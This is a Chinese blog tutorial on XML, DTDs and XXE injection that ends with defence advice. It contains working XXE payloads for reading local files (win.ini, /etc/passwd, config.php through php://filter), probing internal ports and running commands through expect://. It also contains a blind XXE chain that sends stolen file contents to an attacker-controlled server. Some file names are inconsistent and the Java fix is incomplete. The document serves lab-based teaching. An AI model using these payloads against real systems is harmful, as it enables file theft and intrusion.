本文提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;

本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除

一、XML介绍

  • XML:全称eXtensible Markup Language,意为可扩展标记语言。它是一种用于描述和传输数据的标记语言,与HTML类似,但不同于HTML的是,XML的标签是用户自定义的,而非预定义的。这使得XML具有极高的灵活性和扩展性。

  • XML的主要特点包括:

    • 纯文本格式:XML文件是纯文本文件,这使得它可以在不同的系统和平台上进行交换和共享,提高了数据的兼容性和与平台无关性。

    • 自定义标签:XML允许用户自定义标签,这使得XML可以描述各种复杂的数据结构。同时,自定义标签也要求遵循一定的规则,如标签名必须区分大小写,标签必须成对出现等。

    • 树形结构:XML文档形成了一种树形结构,从根元素开始,然后扩展到子元素,再进一步扩展到子元素的子元素等。这种结构使得XML可以方便地描述数据的层次关系。

    • 无行为:XML本身并不包含任何行为,它只是定义了一种数据格式。要处理XML数据,需要使用其他语言(如Java、Python等)来编写解析器或处理程序。

  • XML常用于数据的存储和传输,特别是在不同平台或应用程序之间交换数据时。许多配置文件也是使用XML编写的,因为它既易于人类阅读,又易于机器解析。

  • xml文档的构建模块

    • 元素:XML以及HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的

      • HTML元素的例子:"body" 和 "table"

      • XML元素的例子:"note" 和 "message"

      • 空的HTML元素的例子:"hr"、"br" 以及 "img"

<body>body text in between</body>
<message>some message in between</message>
  • 属性:可提供有关元素的额外信息

    • 属性总是被放在某元素的开始标签中。属性总是以名称/值的形式成对出现的

<img src="computer.gif" />
  • 元素的名称是"img"。属性的名称是"src"。属性的值是"computer.gif"。由于元素本身为空,它被一个" /" 关闭

  • 实体:实体是用来定义普通文本的变量。实体引用是对实体的引用

    • 常见的在XML中被预定义的实体如下表

实体引用

被引用的字符

&lt;

<

&gt;

>

&amp;

&

&quot;

"

&apos;

'

  • PCDATA:被解析的字符数据(parsed character data),属于会被解析器解析的文本。这些文本将被解析器检查实体以及标记,文本中的标签会被当作标记来处理,而实体会被展开。

    • 被解析的字符数据不应当包含任何&、<、>、字符;需要使用&amp;、&lt;、&gt;实体来替换掉

  • CDATA:字符数据(character data),属于不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

  • XML的基本语法规则:

    • XML文档必须有一个根元素,所有的其他元素都必须嵌套在这个根元素内

    • XML标签必须成对出现,且必须正确嵌套

    • XML标签区分大小写

    • XML属性值必须使用双引号括起来

    • 所有XMl元素必须有一个闭合标签

    • XMl必须正确嵌套

    • XML属性值必须加引号

    • 在XMl中,空格会被保留

  • 此外,XML还支持处理指令(Processing Instruction,简称PI),用于指定XML的版本、编码格式等信息。例如,<?xml version="1.0" encoding="UTF-8"?>就是一个处理指令,它指定了XML的版本为1.0,编码格式为UTF-8

  • XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素

  • XML文档说明:

    • 每一个XML文档都以一个XML声明开始,用以指明所用的XML的版本。

    • XML声明有version 、encoding和standalone特性。

    • version特性表明这个文档符合XML 1.0规范。

    • encoding 属性指定了编码格式,默认情况下是utf-8,这个属性要放在属性前面。

    • 像standalone是XML文档的属性,位于等号左边的是特姓名,而其值位于等号的右边,并用双引号或单引号括起来。

    • 自定义的元素也可以有一个或多个属性,其属性值使用单引号或者双引号括起来。

    • 如果属性值中有双引号则使用单引号,反之亦然。

    • 属性的形式为:

    • 属性名= "属性值",比如gender="male"。

    • 多个属性值之间用空格隔开(一个或多个空格都可以)。

    • 在一个元素上,相同的属性只能出现一次。

    • 属性值不能包含<, >, &

  • 总结一下:XML是一种用于标记电子文件使其具有结构性的标记语言。XML的设计宗旨是传输数据,而不是显示数据。它允许用户自定义标记,以描述数据的结构和内容。XML文档结构包括XML声明、DTD(文档类型定义)和文档元素。

二、DTD详解

  • 文档类型定义(DTD):作用是定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

    • DTD可被成行地声明于XML文档中,也可作为一个外部引用。

  • 内部DOCTYPE声明:假如DTD被包含在我们的XML源文件中,它应当通过下面的语法包装在一个DOCTYPE声明中

    • 内部声明DTD格式:<!DOCTYPE 根元素 [元素声明]>

    • 代码举例

<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [                                        <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)>                         <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]>
<!--文档元素-->
<note>
  <to>Jack</to>
  <from>Tom</from>
  <head>Reminder</head>
  <body>You are a good man</body>
</note>
<!--XML 申明-->
  • !DOCTYPE note:定义此文档是 note 类型的文档。

  • !ELEMENT note:定义note元素有四个元素"to、from、heading,、body"

  • !ELEMENT to:定义to元素为"#PCDATA" 类型

  • !ELEMENT from:定义from元素为 "#PCDATA" 类型

  • !ELEMENT heading:定义heading元素为 "#PCDATA" 类型

  • !ELEMENT body:body元素为 "#PCDATA" 类型

  • 外部文档声明:假DTD位于XML源文件的外部,那么应通过下面的语法被封装在一个 DOCTYPE 定义中:

    • 引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM “文件名”>

    • 代码举例:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "text.dtd">
<note>
  <to>George</to>
  <from>Lazy</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>
  • 所包含的text.dtd文件中的内容如下

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
  • 使用DTD的原因:

    • 通过DTD,每一个XML文件均可携带一个有关其自身格式的描述。

    • 通过DTD,独立的团体可一致地使用某个标准的DTD来交换数

    • 应用程序也可以使用某个标准的DTD来验证从外部接收到的数据

    • 还可以使用DTD来验证自身的数据

  • 在DTD中进行实体说明时,使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可在内部或外部进行声明。

    • 内部声明实体格式:<!ENTITY 实体名称 “实体的值”>。

    • 引用外部实体格式:<!ENTITY 实体名称 SYSTEM “URI”>。

    • SYSTEM、PUBLIC用于对外部资源进行申请。

三、XXE漏洞介绍

  • XXE漏洞,全称为XML External Entity Injection,即XML外部实体注入漏洞。这种漏洞通常出现在应用程序解析XML输入时,没有禁止外部实体的加载,导致用户可以控制外部的加载文件,从而引发安全问题。

  • XXE漏洞的原理在于,当应用程序在处理XML数据时,如果没有正确地过滤或禁止外部实体的引用,攻击者就可以构造恶意的XML内容,使其包含对外部文件的引用或执行恶意代码。当应用程序解析这些恶意XML数据时,就会触发XXE漏洞,导致攻击者能够读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

  • 允许攻击者干扰应用程序XML数据的处理:通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

  • XXE漏洞的触发点通常是可以上传XML文件的位置,或者允许用户输入XML数据的地方。如果应用程序没有对XML文件进行过滤或验证,攻击者就可以上传包含恶意内容的XML文件,或者通过输入字段注入恶意XML数据,从而利用XXE漏洞进行攻击。

  • 应用程序解析XML输入时,如果没有禁止外部实体的加载,就会导致可以加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

  • XXE漏洞的出现和开发语言无关,只要是应用程序中对XML数据做了解析,并且这些数据又受用户控制,那么应用程序就可能受到XXE攻击。

  • 由于XXE漏洞主要是利用DTD引用外部实体导致的漏洞,那么重点就是看能引用哪些类型的外部实体。

  • 比如:当libXML<libxml2.9才会造成外部注入漏洞

  • URL中能写的外部实体类型主要的有file、http、https、ftp……当然不同的程序支持的不一样

libxml2

PHP

Java

.NET

file

file

http

file

http

http

https

http

ftp

ftp

ftp

https

php

file

ftp

compress.zlib

jar

compress.bzip2

netdoc

data

mailto

glob

gopher*

phar

四、代码分析

  • 代码路径:\WWW\pikachu\vul\xxe

五、利用XXE漏洞进行攻击(有回显)

  • 要判断是否存在XXE漏洞,可以提交以下内容,如果弹出xxe的话证明存在漏洞

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b "xxe">]><c>&b;</c>

  • 环境部署

    • 将以下代码保存在upload-labs靶场的目录下(在Win10用phpStudy2018,php版本用php-5.2.17+Apache)

<?php
  $string_xml = '<?xml version="1.0" encoding="utf-8"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>xml实体注入</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml);
echo  '<meta charset="UTF-8">';
print_r($data);
?>

  • 代码作用:

    • 获取XML变量,创建DOM对象,传入XML进行处理输出

    • simplexml_load_string()函数把XML字符串载入到对象中

  • 读取Windows敏感文件(C:/Windows/win.ini)

    • 访问这个php文件,直接利用XML读取文件的话发现没有生效,要将XML语句进行URL编码

    • 转换前:

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">]><c>&b;</c>
  • 转换后:

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%3c%21%44%4f%43%54%59%50%45%20%61%20%5b%3c%21%45%4e%54%49%54%59%20%62%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%43%3a%2f%57%69%6e%64%6f%77%73%2f%77%69%6e%2e%69%6e%69%22%3e%5d%3e%3c%63%3e%26%62%3b%3c%2f%63%3e

  • 读取Linux敏感文件(/etc/passwd)

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]><c>&b;</c>
  • <c>&b;</c>:&b;是一个实体引用,它指的是在文档类型声明中定义的名为 b 的实体。实体允许XML文档作者定义可以在文档正文中多次使用的字符串,并为其指定一个名称(在本例中是 b)。实体可以在XML文档中通过其名称(前面带有 & 符号和后面带有 ; 符号)来引用。

  • 当XML解析器遇到&b; 时,它会从指定的URI(在这种情况下是/etc/passwd文件)获取实体 b 的值,并将其插入到文档中 &b; 出现的位置。因此,<c>&b;</c> 这个元素的实际内容会被替换为/etc/passwd文件的内容。

  • 必须有&b;才会将内容在网页显示出来

  • 使用php伪协议php://filter读取文件

  • 将以下代码进行URL编码后提交访问

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=config.php" >]>
<methodcall>
  <methodname>&xxe;</methodname>
</methodcall>
  • 编码后:

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%75%74%66%2d%38%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%78%64%73%65%63%20%5b%0a%3c%21%45%4c%45%4d%45%4e%54%20%6d%65%74%68%6f%64%6e%61%6d%65%20%41%4e%59%20%3e%0a%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%63%6f%6e%66%69%67%2e%70%68%70%22%20%3e%5d%3e%0a%3c%6d%65%74%68%6f%64%63%61%6c%6c%3e%0a%3c%6d%65%74%68%6f%64%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%6d%65%74%68%6f%64%6e%61%6d%65%3e%0a%3c%2f%6d%65%74%68%6f%64%63%61%6c%6c%3e

  • 扫描内网和端口:通过扫描ip和端口确定内网机器的ip和端口开放情况,访问端口会获取banner信息

  • 将以下代码进行URL编码后提交访问,根据回显的信息判断端口开放情况

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://192.168.1.107:80">
]>
<abc>&test;</abc>
  • 编码后:

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%3c%21%45%4e%54%49%54%59%20%74%65%73%74%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%30%37%3a%38%30%22%3e%0a%5d%3e%0a%3c%61%62%63%3e%26%74%65%73%74%3b%3c%2f%61%62%63%3e

  • 执行命令:如果php开启了expect扩展的话,就可以用这种方式执行一些命令(此时没开,看不到效果)

  • 将以下代码进行URL编码后提交访问

http://lazy.com/xxe.php?xml=<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "expect://whoami">
]>
<abc>&test;</abc>

六、利用XXE漏洞进行攻击(无回显)

  • 无回显的XXE也称为Blind XXE,可以使用外带通道提取数据

  • 环境配置

  • 将以下代码保存在upload-labs靶场的目录下(在Win10用phpStudy2018,php版本用php-5.2.17+Apache)

<?php
  $string_xml = '<?xml version="1.0" encoding="utf-8"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>xml实体注入</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml);
echo  '<meta charset="UTF-8">';
?>

  • 先写一个Payload

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/lazy.txt">
<!ENTITY % remote SYSTEM "http://192.168.1.163/attack.xml">
%remote;
%all;
]>
<root>&send;</root>
  • <!ENTITY % file SYSTEM "file:///C:/lazy.txt">:读取目标C盘下的lazy.txt文件

  • <!ENTITY % remote SYSTEM "http://192.168.1.163/attack.xml">:将读取的内容发送到攻击者的远程服务器的attack.xml文件里

  • 编写远程服务器上的attack.xml文件

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.1.163/hack.php?file=%file;'>">
  • 调用远程服务器上的hack.php文件读取文件

  • 编写远程服务器上的hacker.php文件

<?php file_put_contents("read.txt", $_GET['file']); ?>
  • 将读取的文件内容写入到read.txt并在目录下生成

  • 此时将Payload的内容进行URL编码

  • 编码后:

  %3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%5b%0a%3c%21%45%4e%54%49%54%59%20%25%20%66%69%6c%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%43%3a%2f%6c%61%7a%79%2e%74%78%74%22%3e%0a%3c%21%45%4e%54%49%54%59%20%25%20%72%65%6d%6f%74%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%36%33%2f%61%74%74%61%63%6b%2e%78%6d%6c%22%3e%0a%25%72%65%6d%6f%74%65%3b%0a%25%61%6c%6c%3b%0a%5d%3e%0a%3c%72%6f%6f%74%3e%26%73%65%6e%64%3b%3c%2f%72%6f%6f%74%3e
  • 此时就可以看到在远程服务器的目录下生成了lazy.txt文件

七、防御方案

  • 使用开发语言提供的禁用外部实体的方法

  • PHP:使用libxml_disable_entity_loader(true)来禁止加载外部实体。

  • JAVA:在创建DocumentBuilderFactory实例后,调用setExpandEntityReferences(false)来禁止解析外部实体引用

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  • Python:使用lxml库解析XML时,设置resolve_entities=False来禁止解析外部实体。

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 关键词过滤:禁止接收包含<!DOCTYPE><!ENTITY>SYSTEMPUBLIC等关键字的XML数据。这些关键字通常用于定义外部实体,是触发XXE的关键。

  • 升级libxml组件

    • 使用安全的解析器设置:对于某些编程语言和库,可能存在一些安全的解析器设置选项,可以用来防止XXE攻击。确保了解并使用这些选项

    • 限制XML输入的大小:限制用户提交的XML数据的大小,以防止攻击者通过构造大型XML数据来触发XXE漏洞。